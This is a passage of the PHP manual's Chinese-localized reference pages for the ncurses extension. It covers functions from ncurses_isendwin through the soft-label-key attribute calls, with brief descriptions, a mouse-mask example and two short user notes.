警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_isendwin() returns TRUE, if
ncurses_endwin() has been called without any
subsequent calls to ncurses_wrefresh(),
otherwise FALSE.

See also ncurses_endwin() and ncurses_wrefresh().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_instr | 上一级 | ncurses_keyok


ncurses_keyok

(PHP 4 >= 4.2.0, PHP 5)

ncurses_keyok -- Enable or disable a keycode

Description

int ncurses_keyok ( int keycode, bool enable )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_isendwin | 上一级 | ncurses_keypad


ncurses_keypad

(PHP 4 >= 4.2.0, PHP 5)

ncurses_keypad -- Turns keypad on or off

Description

int ncurses_keypad ( resource window, bool bf )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_keyok | 上一级 | ncurses_killchar


ncurses_killchar

(PHP 4 >= 4.1.0, PHP 5)

ncurses_killchar -- Returns current line kill character

Description

string ncurses_killchar ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_killchar() returns the current line kill character.

See also: ncurses_erasechar()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_keypad | 上一级 | ncurses_longname


ncurses_longname

(PHP 4 >= 4.2.0, PHP 5)

ncurses_longname -- Returns terminals description

Description

string ncurses_longname ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_longname() returns a verbose description of the terminal. The description is truncated to 128 characters. On Error ncurses_longname() returns NULL.

See also: ncurses_termname()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_killchar | 上一级 | ncurses_meta


ncurses_meta

(PHP 4 >= 4.3.0, PHP 5)

ncurses_meta -- Enables/Disable 8-bit meta key information

Description

int ncurses_meta ( resource window, bool 8bit )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_longname | 上一级 | ncurses_mouse_trafo


ncurses_mouse_trafo

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mouse_trafo -- Transforms coordinates

Description

bool ncurses_mouse_trafo ( int &y, int &x, bool toscreen )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_meta | 上一级 | ncurses_mouseinterval


ncurses_mouseinterval

(PHP 4 >= 4.1.0, PHP 5)

ncurses_mouseinterval -- Set timeout for mouse button clicks

Description

int ncurses_mouseinterval ( int milliseconds )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mouse_trafo | 上一级 | ncurses_mousemask


ncurses_mousemask

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mousemask -- Sets mouse options

Description

int ncurses_mousemask ( int newmask, int &oldmask )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Function ncurses_mousemask() will set mouse events to be reported. By default no mouse events will be reported. The function ncurses_mousemask() will return a mask to indicated which of the in parameter newmask specified mouse events can be reported. On complete failure, it returns 0. In parameter oldmask, which is passed by reference ncurses_mousemask() returns the previous value of mouse event mask. Mouse events are represented by NCURSES_KEY_MOUSE in the ncurses_wgetch() input stream. To read the event data and pop the event of queue, call ncurses_getmouse().

As a side effect, setting a zero mousemask in newmask turns off the mouse pointer. Setting a non zero value turns mouse pointer on.

mouse mask options can be set with the following predefined constants:

  • NCURSES_BUTTON1_PRESSED

  • NCURSES_BUTTON1_RELEASED

  • NCURSES_BUTTON1_CLICKED

  • NCURSES_BUTTON1_DOUBLE_CLICKED

  • NCURSES_BUTTON1_TRIPLE_CLICKED

  • NCURSES_BUTTON2_PRESSED

  • NCURSES_BUTTON2_RELEASED

  • NCURSES_BUTTON2_CLICKED

  • NCURSES_BUTTON2_DOUBLE_CLICKED

  • NCURSES_BUTTON2_TRIPLE_CLICKED

  • NCURSES_BUTTON3_PRESSED

  • NCURSES_BUTTON3_RELEASED

  • NCURSES_BUTTON3_CLICKED

  • NCURSES_BUTTON3_DOUBLE_CLICKED

  • NCURSES_BUTTON3_TRIPLE_CLICKED

  • NCURSES_BUTTON4_PRESSED

  • NCURSES_BUTTON4_RELEASED

  • NCURSES_BUTTON4_CLICKED

  • NCURSES_BUTTON4_DOUBLE_CLICKED

  • NCURSES_BUTTON4_TRIPLE_CLICKED

  • NCURSES_BUTTON_SHIFT>

  • NCURSES_BUTTON_CTRL

  • NCURSES_BUTTON_ALT

  • NCURSES_ALL_MOUSE_EVENTS

  • NCURSES_REPORT_MOUSE_POSITION

例子 1. ncurses_mousemask() example

<?php
$newmask = NCURSES_BUTTON1_CLICKED + NCURSES_BUTTON1_RELEASED;
$mask = ncurses_mousemask($newmask, &$oldmask);
if ($mask & $newmask){
  printf ("All specified mouse options will be supported\n");
}
?>

See also ncurses_getmouse(),
ncurses_ungetmouse() and
ncurese_getch().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mouseinterval | 上一级 | ncurses_move_panel


ncurses_move_panel

(PHP 4 >= 4.3.0, PHP 5)

ncurses_move_panel -- Moves a panel so that its upper-left corner is at [startx, starty]

Description

int ncurses_move_panel ( resource panel, int startx, int starty )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mousemask | 上一级 | ncurses_move


ncurses_move

(PHP 4 >= 4.1.0, PHP 5)

ncurses_move -- Move output position

Description

int ncurses_move ( int y, int x )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_move_panel | 上一级 | ncurses_mvaddch


ncurses_mvaddch

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvaddch -- Move current position and add character

Description

int ncurses_mvaddch ( int y, int x, int c )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_move | 上一级 | ncurses_mvaddchnstr


ncurses_mvaddchnstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvaddchnstr -- Move position and add attributed string with specified length

Description

int ncurses_mvaddchnstr ( int y, int x, string s, int n )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
john at weider dot cc
19-Oct-2002 01:40
Additional constants:

   NCURSES_A_NORMAL
   NCURSES_A_STANDOUT
   NCURSES_A_UNDERLINE
   NCURSES_A_REVERSE
   NCURSES_A_BLINK
   NCURSES_A_DIM
   NCURSES_A_BOLD
   NCURSES_A_PROTECT
   NCURSES_A_INVIS
   NCURSES_A_ALTCHARSET
   NCURSES_A_CHARTEXT
add a note add a note

后退 | 起点 | 前进
ncurses_mvaddch | 上一级 | ncurses_mvaddchstr


ncurses_mvaddchstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvaddchstr -- Move position and add attributed string

Description

int ncurses_mvaddchstr ( int y, int x, string s )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvaddchnstr | 上一级 | ncurses_mvaddnstr


ncurses_mvaddnstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvaddnstr -- Move position and add string with specified length

Description

int ncurses_mvaddnstr ( int y, int x, string s, int n )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvaddchstr | 上一级 | ncurses_mvaddstr


ncurses_mvaddstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvaddstr -- Move position and add string

Description

int ncurses_mvaddstr ( int y, int x, string s )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvaddnstr | 上一级 | ncurses_mvcur


ncurses_mvcur

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvcur -- Move cursor immediately

Description

int ncurses_mvcur ( int old_y, int old_x, int new_y, int new_x )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvaddstr | 上一级 | ncurses_mvdelch


ncurses_mvdelch

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvdelch -- Move position and delete character, shift rest of line left

Description

int ncurses_mvdelch ( int y, int x )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvcur | 上一级 | ncurses_mvgetch


ncurses_mvgetch

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvgetch -- Move position and get character at new position

Description

int ncurses_mvgetch ( int y, int x )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvdelch | 上一级 | ncurses_mvhline


ncurses_mvhline

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvhline -- Set new position and draw a horizontal line using an attributed character and max. n characters long

Description

int ncurses_mvhline ( int y, int x, int attrchar, int n )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvgetch | 上一级 | ncurses_mvinch


ncurses_mvinch

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvinch -- Move position and get attributed character at new position

Description

int ncurses_mvinch ( int y, int x )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvhline | 上一级 | ncurses_mvvline


ncurses_mvvline

(no version information, might be only in CVS)

ncurses_mvvline -- Set new position and draw a vertical line using an attributed character and max. n characters long

Description

int ncurses_mvvline ( int y, int x, int attrchar, int n )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvinch | 上一级 | ncurses_mvwaddstr


ncurses_mvwaddstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_mvwaddstr -- Add string at new position in window

Description

int ncurses_mvwaddstr ( resource window, int y, int x, string text )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvvline | 上一级 | ncurses_napms


ncurses_napms

(PHP 4 >= 4.1.0, PHP 5)

ncurses_napms -- Sleep

Description

int ncurses_napms ( int milliseconds )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_mvwaddstr | 上一级 | ncurses_new_panel


ncurses_new_panel

(PHP 4 >= 4.3.0, PHP 5)

ncurses_new_panel -- Create a new panel and associate it with window

Description

resource ncurses_new_panel ( resource window )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_napms | 上一级 | ncurses_newpad


ncurses_newpad

(PHP 4 >= 4.3.0, PHP 5)

ncurses_newpad -- Creates a new pad (window)

Description

resource ncurses_newpad ( int rows, int cols )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_new_panel | 上一级 | ncurses_newwin


ncurses_newwin

(PHP 4 >= 4.1.0, PHP 5)

ncurses_newwin -- Create a new window

Description

resource ncurses_newwin ( int rows, int cols, int y, int x )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_newwin() creates a new window to draw elements in. Windows can be positioned using x, y, rows and cols. When creating additional windows, remember to use ncurses_getmaxyx() to check for available space, as terminal size is individual and may vary. The return value is a resource ID used to differ between multiple windows.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_newpad | 上一级 | ncurses_nl


ncurses_nl

(PHP 4 >= 4.1.0, PHP 5)

ncurses_nl -- Translate newline and carriage return / line feed

Description

bool ncurses_nl ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_newwin | 上一级 | ncurses_nocbreak


ncurses_nocbreak

(PHP 4 >= 4.1.0, PHP 5)

ncurses_nocbreak -- Switch terminal to cooked mode

Description

bool ncurses_nocbreak ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_nocbreak() routine returns terminal to normal (cooked) mode. Initially the terminal may or may not in cbreak mode as the mode is inherited. Therefore a program should call ncurses_cbreak() and ncurses_nocbreak() explicitly. Returns TRUE if any error occurred, otherwise FALSE.

See also: ncurses_cbreak()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_nl | 上一级 | ncurses_noecho


ncurses_noecho

(PHP 4 >= 4.1.0, PHP 5)

ncurses_noecho -- Switch off keyboard input echo

Description

bool ncurses_noecho ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_noecho() prevents echoing of user typed characters. Returns TRUE if any error occurred, otherwise FALSE.

See also: ncurses_echo(), ncurses_getch()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_nocbreak | 上一级 | ncurses_nonl


ncurses_nonl

(PHP 4 >= 4.1.0, PHP 5)

ncurses_nonl -- Do not translate newline and carriage return / line feed

Description

bool ncurses_nonl ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_noecho | 上一级 | ncurses_noqiflush


ncurses_noqiflush

(PHP 4 >= 4.1.0, PHP 5)

ncurses_noqiflush -- Do not flush on signal characters

Description

void ncurses_noqiflush ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_nonl | 上一级 | ncurses_noraw


ncurses_noraw

(PHP 4 >= 4.1.0, PHP 5)

ncurses_noraw -- Switch terminal out of raw mode

Description

bool ncurses_noraw ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_noraw() switches the terminal out of raw mode. Raw mode is similar to cbreak mode, in that characters typed are immediately passed through to the user program. The differences that are that in raw mode, the interrupt, quit, suspend and flow control characters are all passed through uninterpreted, instead of generating a signal. Returns TRUE if any error occurred, otherwise FALSE.

See also: ncurses_raw(),
ncurses_cbreak(),
ncurses_nocbreak()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_noqiflush | 上一级 | ncurses_pair_content


ncurses_pair_content

(PHP 4 >= 4.3.0, PHP 5)

ncurses_pair_content -- Gets the RGB value for color

Description

int ncurses_pair_content ( int pair, int &f, int &b )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_noraw | 上一级 | ncurses_panel_above


ncurses_panel_above

(PHP 4 >= 4.3.0, PHP 5)

ncurses_panel_above -- Returns the panel above panel

Description

resource ncurses_panel_above ( resource panel )

警告

本函数暂无文档，仅有参数列表。

If panel is null, returns the bottom panel in the stack.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_pair_content | 上一级 | ncurses_panel_below


ncurses_panel_below

(PHP 4 >= 4.3.0, PHP 5)

ncurses_panel_below -- Returns the panel below panel

Description

resource ncurses_panel_below ( resource panel )

警告

本函数暂无文档，仅有参数列表。

If panel is null, returns the top panel in the stack.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_panel_above | 上一级 | ncurses_panel_window


ncurses_panel_window

(PHP 4 >= 4.3.0, PHP 5)

ncurses_panel_window -- Returns the window associated with panel

Description

resource ncurses_panel_window ( resource panel )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_panel_below | 上一级 | ncurses_pnoutrefresh


ncurses_pnoutrefresh

(PHP 4 >= 4.3.0, PHP 5)

ncurses_pnoutrefresh -- Copies a region from a pad into the virtual screen

Description

int ncurses_pnoutrefresh ( resource pad, int pminrow, int pmincol, int sminrow, int smincol, int smaxrow, int smaxcol )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_panel_window | 上一级 | ncurses_prefresh


ncurses_prefresh

(PHP 4 >= 4.3.0, PHP 5)

ncurses_prefresh -- Copies a region from a pad into the virtual screen

Description

int ncurses_prefresh ( resource pad, int pminrow, int pmincol, int sminrow, int smincol, int smaxrow, int smaxcol )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_pnoutrefresh | 上一级 | ncurses_putp


ncurses_putp

(PHP 4 >= 4.2.0, PHP 5)

ncurses_putp -- Apply padding information to the string and output it

Description

int ncurses_putp ( string text )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_prefresh | 上一级 | ncurses_qiflush


ncurses_qiflush

(PHP 4 >= 4.1.0, PHP 5)

ncurses_qiflush -- Flush on signal characters

Description

void ncurses_qiflush ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_putp | 上一级 | ncurses_raw


ncurses_raw

(PHP 4 >= 4.1.0, PHP 5)

ncurses_raw -- Switch terminal into raw mode

Description

bool ncurses_raw ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_raw() places the terminal in raw mode. Raw mode is similar to cbreak mode, in that characters typed are immediately passed through to the user program. The differences that are that in raw mode, the interrupt, quit, suspend and flow control characters are all passed through uninterpreted, instead of generating a signal. Returns TRUE if any error occurred, otherwise FALSE.

See also: ncurses_noraw(),
ncurses_cbreak(),
ncurses_nocbreak()

add a note add a note User Contributed Notes
israelbz at yahoo dot com dot mx
16-Mar-2006 05:15
nc_raw() will reset ncurses_halfdelay():

<?php
  //This don't set the halfdelay mode
  ncurses_halfdelay(9);
  ncurses_raw();
?>

If you want set halfdelay and raw be shure put halfdelay after
raw:

<?php
  //Correct sets the halfdelay mode
  ncurses_raw();
  ncurses_halfdelay(9);
?>
add a note add a note

后退 | 起点 | 前进
ncurses_qiflush | 上一级 | ncurses_refresh


ncurses_refresh

(PHP 4 >= 4.1.0, PHP 5)

ncurses_refresh -- Refresh screen

Description

int ncurses_refresh ( int ch )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_raw | 上一级 | ncurses_replace_panel


ncurses_replace_panel

(PHP 4 >= 4.3.0, PHP 5)

ncurses_replace_panel -- Replaces the window associated with panel

Description

int ncurses_replace_panel ( resource panel, resource window )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_refresh | 上一级 | ncurses_reset_prog_mode


ncurses_reset_prog_mode

(PHP 4 >= 4.3.0, PHP 5)

ncurses_reset_prog_mode -- Resets the prog mode saved by def_prog_mode

Description

int ncurses_reset_prog_mode ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_replace_panel | 上一级 | ncurses_reset_shell_mode


ncurses_reset_shell_mode

(PHP 4 >= 4.3.0, PHP 5)

ncurses_reset_shell_mode -- Resets the shell mode saved by def_shell_mode

Description

int ncurses_reset_shell_mode ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_reset_prog_mode | 上一级 | ncurses_resetty


ncurses_resetty

(PHP 4 >= 4.1.0, PHP 5)

ncurses_resetty -- Restores saved terminal state

Description

bool ncurses_resetty ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Function ncurses_resetty() restores the terminal state, which was previously saved by calling ncurses_savetty(). This function always returns FALSE.

See also: ncurses_savetty()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_reset_shell_mode | 上一级 | ncurses_savetty


ncurses_savetty

(PHP 4 >= 4.1.0, PHP 5)

ncurses_savetty -- Saves terminal state

Description

bool ncurses_savetty ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Function ncurses_savetty() saves the current terminal state. The saved terminal state can be restored with function ncurses_resetty(). ncurses_savetty() always returns FALSE.

See also: ncurses_resetty()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_resetty | 上一级 | ncurses_scr_dump


ncurses_scr_dump

(PHP 4 >= 4.2.0, PHP 5)

ncurses_scr_dump -- Dump screen content to file

Description

int ncurses_scr_dump ( string filename )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_savetty | 上一级 | ncurses_scr_init


ncurses_scr_init

(PHP 4 >= 4.2.0, PHP 5)

ncurses_scr_init -- Initialize screen from file dump

Description

int ncurses_scr_init ( string filename )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_scr_dump | 上一级 | ncurses_scr_restore


ncurses_scr_restore

(PHP 4 >= 4.2.0, PHP 5)

ncurses_scr_restore -- Restore screen from file dump

Description

int ncurses_scr_restore ( string filename )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_scr_init | 上一级 | ncurses_scr_set


ncurses_scr_set

(PHP 4 >= 4.2.0, PHP 5)

ncurses_scr_set -- Inherit screen from file dump

Description

int ncurses_scr_set ( string filename )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_scr_restore | 上一级 | ncurses_scrl


ncurses_scrl

(PHP 4 >= 4.1.0, PHP 5)

ncurses_scrl -- Scroll window content up or down without changing current position

Description

int ncurses_scrl ( int count )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_scr_set | 上一级 | ncurses_show_panel


ncurses_show_panel

(PHP 4 >= 4.3.0, PHP 5)

ncurses_show_panel -- Places an invisible panel on top of the stack, making it visible

Description

int ncurses_show_panel ( resource panel )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_scrl | 上一级 | ncurses_slk_attr


ncurses_slk_attr

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_attr -- Returns current soft label key attribute

Description

bool ncurses_slk_attr ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_slk_attr() returns the current soft label key attribute. On error returns TRUE, otherwise FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_show_panel | 上一级 | ncurses_slk_attroff


ncurses_slk_attroff

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_attroff -- Turn off the given attributes for soft function-key labels

Description

int ncurses_slk_attroff ( int intarg )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_attr | 上一级 | ncurses_slk_attron


ncurses_slk_attron

(PHP 4 >= 4.1.0, PHP 5)

ncurses_slk_attron -- Turn on the given attributes for soft function-key labels

Description

int ncurses_slk_attron ( int intarg )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_slk_attroff | 上一级 | ncurses_slk_attrset


ncurses_slk_attrset

